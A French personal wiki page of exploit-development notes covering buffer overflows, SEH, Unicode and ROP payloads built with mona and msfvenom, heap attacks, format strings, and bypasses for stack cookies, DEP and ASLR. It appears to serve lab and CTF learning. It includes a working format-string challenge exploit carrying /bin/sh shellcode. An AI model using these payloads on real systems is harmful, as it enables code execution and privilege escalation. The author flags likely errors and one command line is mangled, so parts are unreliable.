Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

Buffer Overflows

Généralités

Cette section contient des commandes générales utiles pour l’exploitation de buffer overflows.

Générer des patterns avec metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2700 # Génération du pattern
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 39694438 # Trouver l'offset

Trouver un jmp avec mona dans un module spécifique:

!mona jmp -!mona jmp -r esp -m user32.dll

Quand on teste un payload avec GDB il faut prendre en compte les variables d’environnement qui sont différentes dans GDB et dans un terminal “normal”. Une astuce est de setter temporairement des variables dans le terminal normal (il y a notamment les variables COLUMNS et LINES qui sont présentes dans GDB)

Bad characters

Pour rechercher des bad chars on peut générer un payload avec mona:

!mona bytearray # Tous les caractères
!mona bytearray -cpb "\x00\x0a" # Tous sauf \x00 \x0a

On peut comparer un fichier avec le contenu en mémoire:

!mona compare -f C:/mona/minishare/bytearray.bin -a 01010101 

Cette chaîne peut être utilisée pour chercher les “bad chars”:

buf="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
buf+="\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
buf+="\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
buf+="\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
buf+="\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
buf+="\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
buf+="\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
buf+="\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
buf+="\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
buf+="\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
buf+="\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
buf+="\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
buf+="\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
buf+="\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
buf+="\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
buf+="\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Il faut également s’assurer que les bad chars n’empêchent pas le crash pour pouvoir facilement trouver à quel char on s’est arrêté.

Générer shellcodes

On peut utiliser metasploit pour trouver les équivalents opcode de certaines instructions:

# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp

SEH Overflows

Les commandes mona suivantes permettent l’exploitation :

!mona exchain # Affiche les enregistrements SEH (on peut aussi faire ALT+S)
!mona safeseh # Affiche les modules sans SafeSEH
!mona seh -m strmdll.dll # Chercher un pop,pop,ret dans le module indiqué

Il faut trouver un payload de la forme suivante:

[JUNK][Short JMP          ][Address to POP, POP, RET][NOPs][Shellcode]
[????][Address to next SEH][Address of SEH Handler  ][???????????????]

Si on utilise msfvenom il faut préciser EXITFUNC=SEH.

Unicode

msfvenom dispose d’un encoder pour générer des payloads compatibles avec de l’unicode:

msfvenom -p windows/exec -e x86/unicode_mixed CMD=calc.exe BufferRegister=eax --format=py

Il est cependant nécessaire d’initialiser la valeur de registre eax pour qu’elle pointe vers le début du buffer. FuzzySecurity montre une démarche (voir détail complet dans le tutorial).

Return Oriented Programming (ROP)

Les commandes mona suivantes sont utiles pour les exploits ROP:

!mona modules # Liste les informations sur les différents modules
!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a' # Liste les fonctions utiles pour ROP dans MSRMfilter03.dll (VirtualAlloc, etc.)
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a' # Liste les gadgets dans MSRMfilter03.dll. Cette commande génère plusieurs fichiers. Le fichier rop_chains.txt contient la structure (valeurs à mettre dans les registres, etc.) pour faire un exploit valide.

Heap attacks

Structure de la Heap (Linux)

La Heap est remplie de chunks. Ils peuvent soit etre en utilisation ou libre.

Heap overflow

Une attaque de type heap overflow permet d’écraser des valeurs sur le tas. Ceci peut permettre de contourner certains contrôles (ex: valeur “privs” à modifier) ou éventuellement executer du code (ex: le tas contient un pointeur qui est ensuite utilisé via strcpy. On peut alors modifier ce pointeur pour que le strcpy modifie une adresse de retour).

Heap Spraying

Le Heap Spraying est une méthode utilisée pour mettre le shellcode en mémoire. Via du JavaScript on met le shellcode précédé d’un large nopsled. Ceci permet de mettre dans EIP une adresse où on a une forte chance de tomber sur le nopsled.

Commandes

Les commandes suivantes sont utiles pour l’exploitation de vulnérabilités liées à la heap:

info proc mappings # Permet d'afficher les mappings de la heap, stack, etc.
x/64xw 0x804a000 # Permet d'afficher le contenu à l'adresse indiquée (adresse de la heap à récupérer)

Format String

Une vulnérabilité de type format string permet de lire du contenu en mémoire mais aussi de le modifier ce qui permet de faire un RCE.

Les éléments suivants sont importants dans ce type d’exploit:

printf("%x"); // Prend les deux premières valeurs sur la pile et les affiche en tant que que nombre hexa
printf("Hello%n"); // Ecrit le nombre de caractères déjà mis dans le printf (ici 5 caractères de Hello) à l'adresse qui est sur la pile. On aura un crash si la première valeur de la pile n'est pas une adresse.
printf("%5$x"); // Prend la 5e valeur sur la pile
printf("%10d"); // Prend la première valeur sur la pile et l'affiche en tant qu'entier de 10 caractères (en complétant avec des espaces si nécessaire)
printf("%5$hn"); // Prend l'adresse en 5e position sur la pile et écrit sur le half-byte s'y trouvant. On utilise ceci pour pouvoir écrire une adresse arbitraire en deux fois. Ainsi si on voulait écrire 0x08091011 il faudrait mettre 134811665 avant le %n. En utilisant %hn on peut le faire en deux fois (0x0809 - 2057 et 0x1011 - 4113)

On peut exploiter ceci de différentes manières:

# Solution a un challege
shellcode = '\xee\xf7\xff\xbf'  # Adresse où se trouve le saved EIP
shellcode += '\xec\xf7\xff\xbf' # Adresse - 2 où se trouve le saved EIP. Ceci est utilisé pour le "half-write"
shellcode += 'AAAA\xcc\xcc'     # JUNK et caractères de debug
shellcode += '\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f' # Shellcode
shellcode += '\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'     # Shellcode
shellcode += '%49098d'         # On genère des caractères. En additionant ceux-ci aux précédents (shellcode, etc.) on a 0xbfff caractères imprimés
shellcode += '%4\$hn'          # On écrase le début 0xbfff
shellcode += '%14349d'         # On génère plus de caractères 
shellcode += '%5\$hn'          # On écrase la fin 0xf80c

Références

Protections

Stack Cookies

Méthodes de contournement:

Linux

Sous Linux, les stack cookies se terminent par \x00 pour rendre plus difficile leur remplacement (strcpy et d’autres fonctions s’arrêtant après le \x00).

Windows

Sous Windows il est possible de contourner un stack cookie via SEH. L’exception intervenant avant la vérification de la valeur du stack cookie.

Data Execution Prevention (DEP)

Méthodes de contournement:

Address Space Layout Randomization (ASLR)

Méthodes de contournement:

Ressources

Liens externes